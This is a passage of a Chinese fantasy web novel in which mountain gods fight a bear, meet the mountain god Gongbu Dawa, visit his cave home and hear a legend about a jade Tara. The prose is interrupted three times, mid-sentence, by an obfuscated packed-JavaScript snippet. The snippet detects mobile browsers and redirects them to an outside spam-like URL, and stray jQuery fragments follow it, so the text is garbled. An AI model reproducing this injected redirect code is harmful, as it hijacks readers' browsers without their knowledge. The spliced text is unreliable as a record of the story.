“我草!你丫偷袭啊!”时妙原尖叫着跳了起来,他一时躲避不及,情急之下直接变回喜鹊飞进了荣观真的浴袍中。荣观真一手护住口袋,一手催动法力,一堵有三米高的土墙瞬间拔地而起,正正好好地挡在了他与狗熊之间。 那熊捕鸟不得,反而一头撞了个大包,剧痛之下,它几乎是当即就发了狂。 “嗷啊啊啊啊啊啊——!” 它歇斯底里地在厅中吼叫起来,入目可及的物件都被它抓起来杂到了地上,眼见大堂就要被拆光,施浴霞着急地喊道:“得把它引到外面!这里施展不开拳脚!” 荣观真当即下令:“承光,你把他弄到院子里去!” “为什么是我?!”荣承光气得直跳脚,不料那熊正好朝他冲了过来,他当机立断驱动莲花缸中的清水,将它们拧成水绳冲熊脸砸了过去。 啪啪啪啪!狗熊踉跄后退撞上行军床,服务生悠悠转醒,正好和它四目相对,嗷呜一声又去见了周公。 就在这一睡一醒之间,荣承光再度催动水绳,趁熊不备将它缠摔到了院中。玻璃门应声而碎,那畜生尚在晕眩,他便三步并作两步踏上白塔顶端,一跃而下一脚踹歪了它的熊脸。 狗熊轰然倒地,蛇尾欺身而上,以摧枯拉朽般的力量绞住了它的胸腔。金鳞如小刀般拧割着它的身体,直令它如蛆虫般挣扭了起来。 周围不断有灯光亮起,就在此时施浴霞赶到院中,冲天空举起了万霞残片。断刃的反光顷刻造出结界,客房窗户被陆陆续续推开,有好奇的人探出头来,却只见到了白塔宁静如常的倩影。 “是谁在打架?” “你也听到了对吧?刚才楼下好吵啊!” “听是听见了……但院子里什么都没有啊?” “老东西,你快来!老子要撑不住了!!!” 在凡人不可见处,荣承光与熊的僵持已经进入了白热化阶段。他浑身涨得通红,满背大汗淋漓,不仅蛇尾绷到了极限,鬓边也已爬上了密密麻麻的鳞片。就在他即将力竭之时,荣观真高举右手向他走了过来,荣承光见状立刻松开尾巴,以迅雷不及掩耳之势撤离到了塔后。 他前脚才刚离开,下一秒地面忽而凸起合拢,将狗熊紧紧夹在了当中。 紧接着它松开,再砸,再松,再闭——如是循环数次,直到它的怒吼渐渐变弱,荣观真单手紧握成拳,将它彻彻底底地困在了一块圆石中央。 尘埃落定。 今夜微风少云,月光铺洒满地,雪龙庄园的庭院凌乱得好似刚遭了雷暴,荣承光在白塔后又藏了半分多钟,直到再听不见石掌轰砸的声音了,他才小心翼翼地探出了脑袋: “完……完事了吗?” 荣观真喘着粗气说:“应该吧,但我感觉……” 他突然眼前一黑。 剧变仅在毫秒之间,在场众神甚至没能看清它的动作,那熊便直接冲破石球,张牙舞爪地朝他扑了过来—— 荣承光失声尖叫:“哥!当心!” 荣观真尚才后退半步,突然感到身上一轻,时妙原从他的口袋里飞出,像一枚子弹般击中了狗熊的脑袋。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16367193|180435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “嗷啊啊啊啊啊!!!!” 那熊估计做梦也想不到,自己有朝一日竟然会被一只喜鹊重伤。它挥舞着爪子不断驱赶,可这鸟的身形偏偏灵活要命,它绕着它不断左飞右蹿,如树枝般细小的爪喙落在身上竟是钻心的疼痛。它将熊啄得头破血流,紧接着又振翅飞上了它的头顶——时妙原变回人形重重落下,双手用力扭断了熊的脖子, “你大爷的,本来不想和你计较的,你竟然敢动老子的人!”时妙原骑在熊肩膀上破口大骂道,“好不容易治好的眼睛!要是再弄坏了,我把你舌头切碎了打成糊糊刷马桶你信不信!!!” 荣观真嘶吼道:“有危险!你快回来!” “什么?”时妙原扭头一看,又有一头硕大无比的黑熊从防熊门的方向冒了出来。他直接吓破了音:“我操,又来?!” 他轻巧地落到地上,一路连滚带爬地躲到了荣观真身后。 黑熊大喊道:“多姆!” 哎?在场众人皆是微微一愣。 会说话。不是熊? 来者的身形极为庞大,但他并不是熊,而是一个披头散发、肩宽背阔,身穿传统藏民服饰,少说有两米多高的男人。 荣观真面露愕然:“怎么是你?” “多姆,过来!”那人摇晃铃铛着铃铛跑到了狗熊身前,那熊一见到他,立刻便放松身体,冲他可怜巴巴地呜咽了起来。 来人从领口掏出一枚银盒,冲它掀开了盖子。 “来,来。”他柔声劝诱道,“到我这来。” 那盒子看着不过拇指大小,面上还镶嵌了许多灵动的细钻,狗熊迅速化作一团浓雾钻入其中,盒盖被轻轻关上,那人双手合拢,低下头去,用听不懂的语言轻声念叨了些什么。 白且清冷的光芒从他指间溢出,其色调竟与月光有几分近似。那光照亮了他肩上棕褐的卷发,也映得他发间的绿松石和蜜蜡熠熠生辉。 他的脖子上挂着许多条金丝编织的哈达,起风了,它们与经幡一道在空中猎猎飞舞。 光芒消散之后,他起身望向了众人。 看清他面目的瞬间,时妙原脑海中无端冒出了四个大字: 风雪如晦。 他长着一张英俊、慈悲,饱经风霜却神采飞扬的脸。 时妙原将荣观真护在身后,谨慎地问道:“你……你好?请问你是……?” 那人对他举起了手中的小盒子。 “这是,嘎乌盒。” 他说起普通话来口音略重,但基本能让人听懂意思。 “我们这边,一般用它来,装佛祖的小像。”他指着嘎乌盒说,“这样,佛祖,在我身边。” 他说着向前走了几步,许是时妙原的表情过于戒备,他特意将双手高举过肩膀,从脖子上取下一条金哈达搭到了他的身上。 “这是,给朋友的礼物。”他慢吞吞地说,“你好,我是,贡布达瓦。” 时妙原大惊失色:“贡布达瓦?!” 传说中神秘莫测的克喀明珠山神? 他不是从不出山吗?怎么会出现在这个地方! “对,对!贡布达瓦!”听到自己的名字,贡布达瓦开心地笑了起来。他指指荣观真,对时妙原乐呵呵地说:“我是,山的朋友。” 然后他指向自己:“我是,克喀明珠的我。” 最后,他指着天空说道: “我是,月亮的护法。” 76.明珠不惑 (一) “你的,你的,还有,你的……” 贡布达瓦一边碎碎念,一边迅速给在场所有人都挂上了哈达。丝绸的质地柔和,被风吹到脸上,就像小猫的绒毛般令人心里发痒。 时妙原一脸莫名地站在原地,施浴霞对布料的质地似乎很是好奇,荣观真是他们当中最淡定的人,他起初虽然也有些惊讶,但很快就适应了状况。 和他比起来,荣承光就显得有些愣头愣脑的了。他还裸着上半身,黄金哈达随风飘舞,这让他看起来就像是一根秃不拉几的人形风向标。 “承光!我回来了!外面应该没有别的……哇你这是什么造型!!” 遥英从庄园外小跑进来,冷不丁瞅见荣承光这德行,差点左脚绊右脚摔到了地上。紧接着他注意到捧着哈达傻乐的贡布达瓦,又惊又疑地问:“这位是?” 荣观真介绍道:“他就是贡布达瓦,克喀明珠山神,我们这次要造访的对象。” 贡布达瓦把胸脯拍得梆梆响:“山!” “什么?山神大人好!”遥英赶忙弯腰鞠躬,“后生愚钝,有眼不识泰……雪山!如有冒犯还请您海涵。抱歉多问一句,您怎么会在这里?刚才那头熊又跑到了哪去?你们捉住它了吗?他应该没有伤到人吧!” 一听到熊字,贡布达瓦立马举起了手来:“我,熊,我的护法!门门门,从前,现在,这里有……哎呀!” 他讲话太慢,想表达的又太多,干脆直接从袍子里掏出手机,手指飞速地敲打起了键盘。过半分钟后他轻触屏幕,一道机械的女性电子音播报道: “我是贡布达瓦熊是我的灵体我养了很多熊我一般不离开山你们看到的那些门从前是用来让它们传送到各处巡逻的这里最初的主人曾是我的朋友本来我应该在家里等你们我还给你们做了石锅鸡但是熊不小心跑出来了还伤到了人对不起我来迟了你们赶紧跟我回去吧鸡还在锅上炖着呢再晚就该烂了,感叹号!” 时妙原一口气听完,差点没给自己憋死:“哎哟!您慢点!” 贡布达瓦的词典里好像就没有“慢”这个字。他轰轰隆隆跑进大堂,时妙原紧随其后,一进门就见贡布达瓦指着还在昏睡的服务生说:“对不起!我的熊伤人,谢谢你!治好了他。” 他用手机打了两个哭哭的颜表情。 时妙原赶忙摆手道:“举手之劳,不足挂齿!” “不,足挂!”贡布达瓦冲他竖起了大拇指。而后他环顾四周,新鲜又兴奋地感慨道:“很不一样!” “哪儿不一样?”时妙原问。 “山!” “山变了?” 贡布达瓦噼里啪啦地打字:“这里曾经是山,动物自由行走。后来人盖了房子,动物们就不那样行走。” “哦——你的意思是,人破坏了这里的生态,影响了动物栖息,所以你讨厌人是吧?”时妙原问他,“你是环保主义者吗?” “讨厌?不!”贡布达瓦把头摇成了拨浪鼓,“人也是动物,动物都很好!小动物们在路上走,很可爱。人动物在地上走,很可爱!这里很多动物,人动物和动物动物!像我,我是熊动物!” 谈话间,其余四位也走了进来。贡布达瓦指着他们说道:“那个是蛇动物,那个是马动物,那个是人动物,那个是大大眼睛鸟,哦,还有你,你是……” 他弯下腰,细细地打量起了时妙原的面容。 时妙原生怕他看出些什么,赶忙说:“那什么,其实我也是鸟,我是喜……” “你是死。” 贡布达瓦笃定地说。 “你是,死去的动物。” 时妙原一时语塞。 “唔……阿妈!”服务生发出了一声惊呼,时妙原低头望去,只见这孩子眉头紧蹙,双唇紧咬,脸上密密麻麻布满了汗珠。 他大概是在做梦,梦境内容对他而言恐怕并不友好。贡布达瓦在他身边蹲下,小心翼翼地将嘎乌盒靠上了他的额头。 青年的眉眼缓缓化了开来,贡布达瓦搓搓他的额头,低声道:“别怕,别怕。月亮保护你。” 荣观真与施浴霞走到了他的身边。万霞倒映出贡布达瓦的身影,那和他展现出的模样并无不同。 “是本尊。”施浴霞低声道。 贡布达瓦敏锐地转过了身来:“镜子?” “是镜子。”荣观真迎上前道,“镜子,像你的湖。” “哦!对!对!是我的湖!” 贡布达瓦火急火燎打开手机相册,向他们展示了一则视频。 “木提措。”他指着画面中碧波荡漾的雪山湖说,“我的家,我带你们去。不用你们自己走,我带你们,我带你们过去!” 荣观真点头应允。他对其余人交代道:“现在去收拾东西,咱们今晚就跟他走吧。既然防熊门可以传送,我们也就不用麻烦浴霞一大早开车了。” “不用她开车?”荣承光肉眼可见地松了口气,“那可真是老天保佑。” 他们互相讨论了几句,便分头往各自房间走去,时妙原走着走着,突然察觉到了一丝异样。 他回头一看,贡布达瓦正亦步亦趋地跟在他身后。 走廊的层高略矮,以他的块头走在这里难免有些局促,他的身形太大,以至于荣观真都被遮得没了影。 见时妙原狐疑地望着他,贡布达瓦憨厚笑道:“我来。” “你来?”时妙原一头雾水,“你来什么?” “我来这里。” 谈话间,他们来到了佛堂外。贡布达瓦看到玻璃窗后的绿度母像,像个孩子似地“啊哈!”了一声。 佛堂的天花板更矮,他进去以后几乎就只能半蹲在拜垫前。处境如此尴尬,他却笑容不减,双手合十,虔诚地对绿度母拜道: “妈妈,我来看你。你知道我来,所以对我笑,是吗?” 佛母的眉眼柔和,细看确实像是在对她的孩子微笑。时妙原见状心想:怪不得这尊神像刚才转了方向,原来是察觉到有熟人来了么? 他的老熟人也来了。荣观真穿戴整齐,拿着件加绒的冲锋衣走到了时妙原身边。 “披上吧,山上风大,你现在的衣服不抗冻。”他说。 贡布达瓦恰好拜完,他看清荣观真的打扮,又见到他手里的冲锋衣,立刻不赞许地说:“这冷!不行!穿我的!” 说完,他立马挪到佛堂角落,一阵翻找掏出了几件尘封的藏袍。 他递给荣观真一件经典款的红白双色男士单边袖常服,而时妙原得到的则是一套丽至极的长裙。它由内外两层交叠缝成,褚红色的布面上缀满了天珠与绿松石。后摆的披风内缀绒毛,淡水珍长链从颈上一直垂到膝盖的位置。时妙原看得两眼放光:“这是给我的?” “普兰科迦!”贡布达瓦欢快地说,“在普兰科迦!那里的人都这么穿,好看!” 其余人也收拾好东西走了过来,荣承光看见荣观真与时妙原的扮相,差点惊掉了下巴:“哈啊?需要这么入戏么!” “你们也有!”贡布达瓦给他俩也各塞了一套藏袍,荣承光单独得到了一顶羊毛帽,他对着镜子摆了摆姿势,颇为满意地说:“还挺时髦。” 满意的不止他一人,时妙原对这件衣服简直爱不释手。他正喜滋滋地抚摸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16370912|180435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天珠表面的纹理,一抬头就见荣观真目不转睛地盯着他看。 “嗯?怎的了?”他挑眉道,“荣老爷觉得我这扮相如何?” 荣观真摇头:“不如何。” “是真不如何还是假不如何?” “装不如何。” “你啊你,该说你是别扭还是直白呢!”时妙原差点大笑出声,他转而问贡布达瓦:“雪山老爷,我们要怎么去你家?是你带我们飞呢,还是咱几个全从防熊门走?” “不不不,”贡布达瓦否认道,“不当熊。” 他合掌对绿度母又鞠一躬:“妈妈,我们走了。” 然后他打开嘎乌盒,往地上狠狠一扔—— 砰! 青烟四起,云雾缥缈。 雪风如刀割般扑来,自山谷间来的呼啸灌满了时妙原的鼓膜。 他下意识遮住脸躲避冷风,再睁开眼时,他以为自己来到了天上。 眼前,是一望无际的汪洋。 身后,是高耸入云的雪山。 头顶,秃鹫与苍鹰在白云间不断盘旋。 脚下,千万年不变的磐石正冷硬地对他道好。 此值日出,日照金山。 远方有绵羊与牦牛闲居,荣观真抓着他的胳膊紧挨在他身边,其余人分散在他们背后十数米处的地方,空间变化太快,时妙原多少还有些恍惚。 贡布达瓦吹响口哨,一只翼展极长的苍鹰从空中落下,稳稳地停在了他的小臂上。 他指着半山腰一座石洞说:“我家。走。” 一行人陆陆续续随他向山上走去。 时妙原边走边四处打量,眼下他们所处的地方至少有五千多米的海拔,等到了贡布达瓦“家里”,整体的高度估计得到七千米左右。 他的高反虽不再剧烈,但胸口还是略有些不适。其实他也曾飞越过高地,但真正用双脚踏上这片土地,对他而言确实还是头一遭。 他见多了显山不露水的地貌,也看惯了原始的密林与溪涧,这还是他还是第一次以凡人之姿来到雪山,直面至高峰毫无保留的威压。 这样的体验对他而言,不可不谓之新奇。 时妙原看得心潮澎湃,他戳戳荣观真,说:“你瞧,这山真不错。又高又奇,有草有湖有动物,山顶上还有那么厚的一层积雪!这景象在中原根本就见不着,我们这回真是来对了。” 荣观真瞥了他一眼,不说话。 “喂,你干嘛不理我?”时妙原拿胳膊肘拱了他两下,“我跟你说话呢!我说这山好看,你听不见吗?” “哦,是吗。”荣观真冷冷地说,“好看那你就多看。” 哟呵,这是什么语气?时妙原立马来了劲:“你怎么了?” “没怎么。” “你不开心?” “心情好得很。” “你在闹脾气。” “你哪只鸟眼看出来的?” “你吃醋了。” “……” “荣老爷,你不会是吃克喀明珠的醋了吧?”时妙原眨巴着眼睛问:“你觉得我看上了别的山,还夸别人家里漂亮,心里不是滋味了,对不对?” 荣观真止住了脚步。 他回过头,先是包含轻蔑地、从上到下地打量了时妙原一番。 然后他仰起下巴,勾起嘴角,以一种居高临下的姿态冷笑道: “我羡慕山?是你疯了还是我脑子坏了?你当我第一次见山?你以为我像你一样没见识么?呵,山……你这话说得就让人好笑!你说得就好像空相山没有主峰没有湖,没有动物也没有草似的!” 77.明珠不惑 (二) “哎哟呵!”时妙原奸笑着凑了上去,“还说你不在乎,你这不是吃醋我倒立进木提措洗澡!” “你爱倒就倒,关我鸟事!” 荣观真拂袖而去,被时妙原从背后拉住了:“哎哎哎,别生气嘛,我就是开玩笑而已,荣老爷大人有大量,不会就这么不理我了吧?” 见荣观真不回应,他像只蝴蝶似地绕在他身边哄道:“好老爷,好哥哥,我再不瞎讲了,你别不搭理我好不好?哎呀,你最好看了,你最壮观了!你是世界上最高的山,最漂亮的树,最清的湖最美的花!你那儿的山包包漂亮,小草草漂亮,小鱼小虾小动物也都是一等一的漂亮!你是仙风道骨天下第一的英俊美男子,除了你以外别的山我都不放在眼里,你就别对我有意见好不好嘛?” 荣观真的嘴角抽搐了几下,他大踏步向山上走去,其步速之快,甚至带出了呼呼的风声。 至于时妙原,他慢慢悠悠跟在后面,没一会儿功夫就落下了好十几米。 “哎……哎哟,哎哟啊……好累……”他弯腰扶膝叫苦连天,好像下一秒就要断气了似的。 “我好累,好辛苦,我要喘不过气儿来了……我好想坐车啊,我好难受哦噢噢噢噢咦咦咦咦啊诶啊?!!” 一阵蹄声如旋风般由远及近飞来——是白马!它欢欣鼓舞地拿嘴筒子拱了时妙原好几下,而荣观真大步流星走到他身边,双手一用力,直接将他打横抱起来甩到了马背上。 “荣荣荣荣荣老爷?!你这是干什么!” “你不是喘不过气吗?我找辆车给你坐坐!”荣观真冷冷地说。 时妙原在马背上坐直身子,他左看看右看看,摸着这纯天然白色小汽车的屁股问:“啊,我明白了,你担心我又高反了是不是?” “我担心你个蛋。” “你这回不生气啦?” “已经气死过去了。” “那坏了,你死了我该去投靠谁啊!” 时妙原大叹一声,捂住心口倒在了马背上:“坏了坏了,这下可真是出大事了!想我年纪轻轻,就能有幸在荣老爷座下做事,这平日里狐假虎威惯了,你若是不要我了,我这一没家二没亲的,在外面漂泊来流浪去的可该如何是好啊?呜呼!只怕荣老爷前脚将我扫地出门,后脚我就要在这雪地里陈尸荒……” “行了!你到底有完没完?再叫我让它把你扔山脚下去!” 荣观真忍无可忍打断了他:“什么陈尸荒野什么无家可归的,你当初不是说自己有很多亲戚的吗?你不是说他们都是我的信徒吗?怎的,成天扯谎吹牛骗人不打草稿惯了,到现在连自己说过什么鬼话都不记得了?” “哎呀,什么家人不家人的,那都是老黄历了!”时妙原立马换了副德行,“现在您是我的主,我是您的人,啊不对,我是您的鸟!您要我干什么我就干什么,您想当我爹我也完全乐意呀!” “你们俩!在后面唧唧歪歪的到底有完没完!” 荣承光的声音远远从山道上飘了下来:“还不麻溜的过来,等下被熊吃了我可不给你们收尸!” “好好好,来了来了——”时妙原欢快地拍打起了白马的屁股,“驾!荣老爷,跑起来!咱们赶快上去吧,再磨蹭老瓦的鸡都得炖化了!” 荣观真差点气晕过去。 他们越往上走,道路两旁的积雪就越来越多。 现下虽是夏季,高海拔处的温度依旧不算太低。褐黑的岩石被日光晒得刺眼,白马沿着山道稳稳上行,时妙原抱住它的脖子,那厚实的鬃毛给予了他不少温存。 但当他悄悄翻开它的毛发,那底下的伤疤依旧触目惊心。 贡布达瓦等人已经走出了很远,在这样的距离下,他们的身影和山体几乎融成了一片。 克喀明珠山的主峰白雪皑皑,更衬得暴露在外的岩石一片死气。 时妙原抬头眺望山巅,感慨道:“好漂亮的雪啊。” 荣观真回头看了他一眼。于是时妙原直起身子说:“老爷,我想看雪。” “这里不就有雪么,你想看没人拦着你。” “不不,这里的雪虽然好看,但不是自己家的,总归少些味道。”时妙原张开双臂,任雪风将自己轻拥入怀,他沉醉地说:“我想看空相山的雪。” 荣观真愣了一下:“空相山的雪?” “对啊,怎么样?要是寻常人我肯定不提,但你可是山神,这空相山的地理水文全都归你所管,等过两天回去了你给我飘点雪粒子,盖点雪顶子,再堆个雪人让我玩玩,应该不能算过分吧?” “嗯……挺过分的。”荣观真干巴巴地说,“恕我冒昧,但你应该有基本的地理常识吧?你知道空相山在南边对么?这大夏天的你说要看雪,你这是想让我下雪呢,还是闲出汁了想把地方天文台都干倒闭呢?” “不下就不下,阴阳怪气的干什么意思。”时妙原嘟嘟囔囔地抱紧了白马,“你这个小气鬼,我宣布我到山顶之前都不要跟你好了!” 斗嘴饶舌之间,他们终于来到了石头洞口。荣承光已经等得颇不耐烦,得亏有遥英一直在旁边顺毛,他才没发作出来。 和他比起来,贡布达瓦和施浴霞的心态倒是十分稳定,两位山神蹲地上边指指点点地聊着些什么,时妙原骑白马过去,眼尖地发现了好些规格不一、高度也各不相同的小石头堆。 见他来了,施浴霞起身介绍道:“这是玛尼堆,当地有许多人认为可以用这种石堆和神灵沟通,也有人相信它能为死者指引升天道路,总之这应该算是西南地区特有的一种人造景观。” 玛尼堆们错落有致地排列在地面上,其中三个引起了时妙原的注意。 它们的外表都有不同程度的风化,上面缠着的经幡也已经褪色,这三个小石堆头挨着头、脚挨着脚地紧贴在一起,就像亲密无间的家人般,似乎一刻也不愿分开。 贡布达瓦指着它们说:“我的。” 时妙原问:“它们都代表谁?” 贡布达瓦笑道:“妈妈,爱,我。” 山风忽起,荣观真遣走白马,和施浴霞一起垒起了石子。 他们很快各自垒了两个玛尼堆,施浴霞看看他的,又看看自己的,说:“好像堆重了一个。” 贡布达瓦走到洞口,对他们招了招手。 “我家,就在这里。”他指着那黑黝黝的山洞说,“慧师洞,我的朋友,住过。” “这里似乎是个有名的宝地。”遥英环顾四周道,“我听闻莲花生大士是广受当地人爱戴的大德,他当年进藏传道,将佛法带入高原,而慧师洞就是他曾经修行的地方之一。也正因如此,当地人才会将克喀明珠奉为神山……我从前只听说人间的传闻,没想到这里居然是贡布达瓦大人的行宫啊?” “行宫,家,怎么说,都好!”贡布达瓦从怀里摸出手持经筒,一边转一边走进了洞中,“进来,进来吧。我的朋友!” 众人紧随其后。 进入慧师洞后,时妙原惊奇地发现,这洞虽然在外面看着毫不起眼,进去以后竟深邃幽长得很。这就好像是误入了桃花源,起初的十几米狭窄至极,就连让一人通行都十分艰难,而后某一截豁然开朗,他们竟步入了一条清冷敞亮的甬道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16374691|180435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 此地四面均由青玉雕琢而成,顶上及两侧开了许多小门,门上画的图案令时妙原颇为眼熟,这和他在雪龙庄园的防熊门上见到的十分近似。 照这么说的话,慧师洞里难道会有熊吗?他不由得心下一紧:虽然这儿随便挑一个人出来都是能以一当百的角色,但他是真的不想再面对那种难缠至极的猛兽了。 正当时妙原惴惴不安之时,他的眼前忽而出现了一簇耀眼的光芒。 他们出慧师洞了? 他们到了。 北风夹着雪粒扑打在他脸上,他努力拨开乱发,又花了好几秒钟才再度适应光线。视力恢复清晰之后,他发现自已来到了一座巨大的天坑之中。 说它是坑其实并不准确,因为其中有一面是克喀明珠山高耸入云的主峰。此处四面环山,周围的悬崖有至少三四百米高,头顶时不时有苍鹰掠过,在正对着主峰的那一面山壁上坐落着无数红黄两色的土屋。 从外表上看,它们每间应该都是寺庙,时妙原粗略估计,这儿恐怕有上千座类似的小庙。 他眯眼望向主峰,看见了一尊几乎与雪山融为一体的,巨大无比的度母像。 “这是……”他微微瞪大了眼睛。 她是由白玉雕琢而成的。 山有多高,玉度母就有多高。她以自在坐于玉莲台上,束高髻、着长裙,双手向上摊开,掌心各有一目,是谓千手千眼,诸法千象。 她的姿态与雪龙庄园中所供的那尊度母像有相似也有不同,在这样宏伟的尺度下,三世诸佛一切众生之母的笑容被放大到了极致。寻常人站在地上,恐怕都还不及她脚背的一半。 “妈妈。” 贡布达瓦双手合十,屈膝跪下,快要落地时向前滑了半米,就这么跪了个标标准准的长头。 他一边磕长头,一边向玉度母像走去,许是因为身材高大,他这一系列动作显得略微有些僵硬。 几位外乡人面面相觑,荣承光扯着遥英的袖子问:“你懂得多,你告诉我,我们也要跟着一起跪么?” “应该……不用的吧?”遥英正迟疑着,却见荣观真合掌弯腰,对玉度母微微鞠了一躬。 时妙原盯着玉度母看了一会儿,内心升起了某种很诡异的感觉。 “奇怪……”他喃喃道,“这张脸怎么感觉在哪见过?” 贡布达瓦终于拜到了玉度母脚下。他双掌朝上连磕三头,而后慢慢站起,冲时妙原等人远远地挥手道:“到这里来!” 还未等他们作出回应,一只脏兮兮的白色小狗从玉度母脚下冲出来,扑到他身上又叫又舔,兴奋得连尾巴都摇成了螺旋桨。 “多杰!”贡布达瓦惊喜地喊道,“你在这里睡觉啊!” 得到主人的回应,小狗叫得更欢了。贡布达瓦将它捞进怀里,乐呵呵地迎上众人道:“这是多杰,那是玉妈妈!玉妈妈也是,我妈妈。我要和你们讲……讲她的故事。” “讲故事?你给我等会,我们来这儿可不是跟你开故事会的!” 荣承光二话不说就急了眼:“那什么,贡大哥啊,我知道你妈很牛逼,我看她就不是一般角色,但你能不能直接带我们进入正题呢?你能不能告诉我那个山羊是什么来头?再不济,我看你这边这些玉,不会也跟它有关系……” “荣承光!”荣观真喝止了他,“不要这么没礼貌!” 贡布达瓦赶忙打圆场:“没事,没事!那个羊,我知道是怎么回事!” 他把小狗放到地上,对众人道:“玉妈妈知道羊的事情,她会告诉你们,这一切背后的缘由。” 78.明珠不惑 (三) 玉度母是,三世诸佛及一切众生之母。 她与天地同生,济万界苦难,其神力无边,其后代无尽。 玉度母座下有无数子民,而在她所有的子嗣中,唯有一个孩子最得她的宠爱。 他在天地的祝福中出生,诞生时飞鸟走兽无不奔走欢庆。他拥有至纯至善的心灵,而他的母亲亦赐予了他刀枪不入的身体。 她教他如江水般流利的谈吐,锻炼他如玉石般纯净的精神,她带他行走四方平诸恶果,她与他的德行得到了天上之神的赞许。 神赐予他难以想象的珍宝,而这些财富于他而言根本与土石无异。比起物质的永恒,他更想和母亲相伴到永远。比起至高之神的垂怜,他只想在母亲的怀抱中恒久不断地安眠。 有一天,孩子与玉度母在河边闲步。他问:妈妈,我们会永远在一起么?就像这河,就像这山,就像这我们。 玉度母说:河水终要断流,沧海会成桑田,终有一天我将离你而去,这是世界上亘古不变的定律。 孩子哭了,他的眼泪像明珠一样流下。于是玉度母安慰他:但在那之前,我会永远陪伴着你。你的生命里永远有我,母亲的荣光将永远伴你左右。 孩子说:我不要这些,我只要您永远爱我。 母亲说:只要我在世一日,我就不会离你而去。当你快乐时我会为你歌唱,当你身处危境,我将为你挡下一切苦难。 于是他破涕为笑。 “停!” 荣承光不耐烦地敲了敲桌子:“谢谢你给我们讲童话故事,但请问这和那个山羊人有什么关系吗?” 黄昏时分,雪风缠绵。 他们围坐在木桌边,这是玉度母像对面的一座小庙。 柴火烧得正旺,土鸡肉和新鲜虫草松茸在黑石锅内咕嘟冒泡。贡布达瓦给每人舀了碗汤,然后他点点手机屏幕,那机械式的语音继续播报道: “你们说的那只羊,应该和玉度母的孩子有关。” “为什么?” “因为玉度母食言了。” 有一天,她的孩子离开了人世。 他死于一场征伐,那是他第一次离开母亲独自出门降魔。玉度母赶到时他已身首异处,他没能见到她最后一面,他死在了母亲未能兑现的诺言中。 他身死那日,天地为之变色,江水也从大海倒流回了源头。玉度母哭了七天七夜,到最后一天晚上,她带着他来到了克喀明珠山的山顶。 她让鹰隼吃掉了她的骨肉。她说:愿你的灵魂安息,愿你能永脱苦海。当你再来到世间,你会拥有不死不灭的身体。 贡布达瓦分完鸡汤,顺手给趴在地上的小狗扔了块骨头。 “我的熊告诉我,那头羊是盘踞在雪山深处的邪神。当初它设计陷害了玉度母的孩子,后来也一直在人间作乱。再往山的那头去就是无人区,你们或许可以在那找到它的踪迹,也有可能,你们会在见到它之前成为雪山的一部分。” 他的手机播完这句话,就陷入了沉寂。 它没电了。 时妙原浅浅喝了半口汤。还有点烫,他没忍住吐了吐舌头。 “我帮你吹吹。”荣观真拿过了他的汤碗。 “那我们要如何找到山羊精……找到那个羊神呢?”荣承光追问道,“而且它又和徐知酬有什么关系?” 多杰吃完骨头,冲主人汪汪叫了两声。贡布达瓦弯下腰,抚摸着小狗脏兮兮的脑袋说:“你说找,山里有。你说关系,我,不知道。” “那孩子后来怎么样了?”时妙原问,“他回到妈妈身边了吗?” “他?”贡布达瓦愣了一下,“他死了呀。” “死就是死,没有再随随便便活过来的说法。” 荣观真将鸡汤推回了时妙原桌前。他看他喝下鸡汤,淡淡地说:“即使是神的孩子,也不能违背生死定律。如果他还想再见到母亲,恐怕就只能等下辈子了。” 用完餐后,太阳也快落山了。 贡布达瓦为他们准备的卧房在山崖最高处的寺庙里,屋内摆了两张拼凑在一起的老旧的木质高低床,床上被褥还算整洁,除此之外就什么都没有了。 不过,这里的住宿条件虽然比较简陋,但站在屋子里向外望去,正好可以透过窗户看到远处的玉度母像。 星辰已然升起,夕阳为她镶上了一层金红交加的光环。 施浴霞的房间在另外一边,她没有直接入住,而是在稍微熟悉环境之后去了别处。 “我出去走走,”她说,“我想去看日出,你们不用管我。” 贡布达瓦也很快就离开了。临走前他交代道,金哈达算是进出慧师洞的令牌,他们当然可以随意走动,只是要小心为好。 他走后,剩下四个人便大眼瞪小眼了起来。 “不是,谁能告诉我为啥我要和你们住一起?”荣承光是最先沉不住气的那个,“他家这么多屋子,多分我一个又能怎样?靠了……而且怎么还睡上下铺,玉度母她老人家不是古代神吗,难道还要到大学生宿舍里去找装修灵感?” 时妙原举手道:“我睡哪儿都行,只要和荣老爷一张床就好。” 遥英也赶忙找补:“这么安排其实没有什么问题!你看,这儿正好有四张床,更何况还拼起来了,怎么说上下铺各睡两个人应该都算充裕……” 荣观真啪地把一床被子扔到了地上。 “你睡这。”他指着地上的被子对荣承光说,“遥英可以睡床上。” “不是?”荣承光不可置信地问,“为什么?” “我不想跟你离那么近。” 